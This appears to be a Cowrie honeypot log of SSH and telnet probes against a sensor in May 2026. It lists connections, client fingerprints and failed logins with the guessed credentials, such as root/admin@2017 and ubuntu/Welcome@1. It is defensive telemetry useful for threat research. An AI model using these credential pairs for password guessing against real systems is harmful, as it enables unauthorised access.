{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:02:20.015691Z","src_ip":"103.176.20.115","session":"72622e099688","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.103.127.97","src_port":51474,"dst_ip":"10.17.0.5","dst_port":22,"session":"89dfb582fab4","protocol":"ssh","message":"New connection: 14.103.127.97:51474 (10.17.0.5:22) [session: 89dfb582fab4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:02:21.026099Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:02:21.030932Z","src_ip":"14.103.127.97","session":"89dfb582fab4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"demo","password":"demo@2026","message":"login attempt [demo/demo@2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:02:21.053076Z","src_ip":"103.176.20.115","session":"72622e099688","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:02:22.308598Z","src_ip":"103.176.20.115","session":"72622e099688","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:02:22.537444Z","src_ip":"14.103.127.97","session":"89dfb582fab4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cactiuser","password":"cactiuser","message":"login attempt [cactiuser/cactiuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:02:23.182584Z","src_ip":"14.103.127.97","session":"89dfb582fab4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.3","message":"Connection lost after 5.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:02:26.314140Z","src_ip":"14.103.127.97","session":"89dfb582fab4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00705242156982,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:02:32.829422Z","src_ip":"181.189.73.151","session":"5119b30a1775","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"181.189.73.151","src_port":62717,"dst_ip":"10.17.0.5","dst_port":23,"session":"f335d4ec7ee6","protocol":"telnet","message":"New connection: 181.189.73.151:62717 (10.17.0.5:23) [session: f335d4ec7ee6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:02:33.487778Z"}
{"eventid":"cowrie.session.closed","duration":120.00091624259949,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:02:33.619265Z","src_ip":"181.189.73.151","session":"b8bbe699af27","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"181.189.73.151","src_port":61986,"dst_ip":"10.17.0.5","dst_port":23,"session":"cb43a91959ab","protocol":"telnet","message":"New connection: 181.189.73.151:61986 (10.17.0.5:23) [session: cb43a91959ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:02:34.193074Z"}
{"eventid":"cowrie.session.connect","src_ip":"61.72.55.130","src_port":42568,"dst_ip":"159.203.135.109","dst_port":22,"session":"29049aa0129c","protocol":"ssh","message":"New connection: 61.72.55.130:42568 (159.203.135.109:22) [session: 29049aa0129c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:02:56.386150Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:02:56.391280Z","src_ip":"61.72.55.130","session":"29049aa0129c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:02:56.596130Z","src_ip":"61.72.55.130","session":"29049aa0129c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Welcome@1","message":"login attempt [ubuntu/Welcome@1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:02:57.432892Z","src_ip":"61.72.55.130","session":"29049aa0129c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:02:58.637728Z","src_ip":"61.72.55.130","session":"29049aa0129c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.199.224.2","src_port":42642,"dst_ip":"159.203.135.109","dst_port":22,"session":"d86a5eb0fedd","protocol":"ssh","message":"New connection: 60.199.224.2:42642 (159.203.135.109:22) [session: d86a5eb0fedd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:02:59.484182Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:02:59.489244Z","src_ip":"60.199.224.2","session":"d86a5eb0fedd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:02:59.688668Z","src_ip":"60.199.224.2","session":"d86a5eb0fedd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.599284410476685,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:03:00.385952Z","src_ip":"38.54.119.93","session":"6b226f43f2f7","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin@2017","message":"login attempt [root/admin@2017] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:03:00.520457Z","src_ip":"60.199.224.2","session":"d86a5eb0fedd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:03:01.723834Z","src_ip":"60.199.224.2","session":"d86a5eb0fedd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.193","src_port":62916,"dst_ip":"159.203.135.109","dst_port":22,"session":"2bac465c7bb4","protocol":"ssh","message":"New connection: 2.57.122.193:62916 (159.203.135.109:22) [session: 2bac465c7bb4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:03:07.340623Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PUTTY","message":"Remote SSH version: SSH-2.0-PUTTY","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:03:07.350753Z","src_ip":"2.57.122.193","session":"2bac465c7bb4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"5bd26477da5440a6187bd3f1b39a429c","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 5bd26477da5440a6187bd3f1b39a429c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:03:07.449235Z","src_ip":"2.57.122.193","session":"2bac465c7bb4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:03:07.868366Z","src_ip":"2.57.122.193","session":"2bac465c7bb4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.115","src_port":52936,"dst_ip":"10.17.0.5","dst_port":22,"session":"70e22af79082","protocol":"ssh","message":"New connection: 103.176.20.115:52936 (10.17.0.5:22) [session: 70e22af79082]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:03:14.869523Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:03:14.874865Z","src_ip":"103.176.20.115","session":"70e22af79082","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:03:15.127708Z","src_ip":"103.176.20.115","session":"70e22af79082","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123qweASD","message":"login attempt [ubuntu/123qweASD] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:03:16.171076Z","src_ip":"103.176.20.115","session":"70e22af79082","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:03:17.426798Z","src_ip":"103.176.20.115","session":"70e22af79082","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.211.53.160","src_port":32888,"dst_ip":"159.203.135.109","dst_port":23,"session":"dccd576a69de","protocol":"telnet","message":"New connection: 192.211.53.160:32888 (159.203.135.109:23) [session: dccd576a69de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:03:30.163074Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":40066,"dst_ip":"10.17.0.5","dst_port":23,"session":"711597596344","protocol":"telnet","message":"New connection: 38.54.119.93:40066 (10.17.0.5:23) [session: 711597596344]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:03:40.370921Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":46144,"dst_ip":"10.17.0.5","dst_port":23,"session":"8bde424b3a19","protocol":"telnet","message":"New connection: 65.60.27.33:46144 (10.17.0.5:23) [session: 8bde424b3a19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:03:46.373665Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.162.42","src_port":44620,"dst_ip":"10.17.0.5","dst_port":22,"session":"2b0ae975a701","protocol":"ssh","message":"New connection: 152.32.162.42:44620 (10.17.0.5:22) [session: 2b0ae975a701]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:03:50.771533Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:03:50.776739Z","src_ip":"152.32.162.42","session":"2b0ae975a701","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:03:51.030783Z","src_ip":"152.32.162.42","session":"2b0ae975a701","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"Asdf1234","message":"login attempt [user/Asdf1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:03:52.079016Z","src_ip":"152.32.162.42","session":"2b0ae975a701","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.199.224.2","src_port":42646,"dst_ip":"159.203.135.109","dst_port":22,"session":"5dc4c45d253d","protocol":"ssh","message":"New connection: 60.199.224.2:42646 (159.203.135.109:22) [session: 5dc4c45d253d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:03:52.939749Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:03:52.944376Z","src_ip":"60.199.224.2","session":"5dc4c45d253d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:03:53.151295Z","src_ip":"60.199.224.2","session":"5dc4c45d253d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:03:53.335421Z","src_ip":"152.32.162.42","session":"2b0ae975a701","protocol":"ssh"}
